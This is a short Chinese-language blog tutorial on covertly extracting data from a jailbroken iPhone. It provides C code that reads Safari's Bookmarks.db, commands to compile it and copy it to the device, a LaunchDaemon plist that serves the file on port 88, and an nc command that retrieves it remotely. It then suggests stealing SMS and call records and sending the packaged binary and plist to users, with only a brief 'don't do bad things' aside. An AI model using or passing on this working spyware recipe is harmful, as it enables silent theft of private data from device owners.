iOS安全–远程窃取设备信息

首先在本机新建文件编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>

#define FILE "/private/var/mobile/Library/Safari/Bookmarks.db"

int main() {
    int fd = open(FILE, O_RDONLY);
    char buf[128];
    int nr = 0;

    if (fd < 0)
        exit -1;
   
    while ((nr = read(fd, buf, sizeof(buf))) > 0) {
        write(fileno(stdout), buf, nr);
    }
    close(fd);
    return 0;
}

编译:

clang -o helloworld -arch armv7 helloworld.c -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.1.sdk

将生成的hello文件上传到设备的/usr/bin/目录下:

scp hello root@ip:/usr/bin/

使用Xcode新建一个plist文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.monkey.hello</string>
    <key>Program</key>
    <string>/usr/bin/hello</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/hello</string>
    </array>
    <key>SessionCreate</key>
    <true/>
    <key>Sockets</key>
    <dict>
        <key>Listeners</key>
        <dict>
            <key>SockServiceName</key>
            <string>88</string>
        </dict>
    </dict>
    <key>StandardErrorPath</key>
    <string>/dev/null</string>
    <key>inetdCompatibility</key>
    <dict>
        <key>Wait</key>
        <false/>
    </dict>
</dict>
</plist>

其中SockServiceName为88,你可以自己定。

然后把文件上传到设备/Library/LaunchDaemons/ 下,手动加载下:

launchctl load  /Library/LaunchDaemons/xxx.plist

完后在电脑端输入:nc ip 88 > Bookmarks.db   然后打开数据库中的表。

Snip20150116_1

手机上的数据已经默默的被窃取过来了。

当然,你还可以窃取其它的数据,像短信,电话什么的,而且你还可以把可执行文件和plist打包发给用户。(勿做坏事)

 

 

 

本文链接:http://www.alonemonkey.com/ioss-steal.html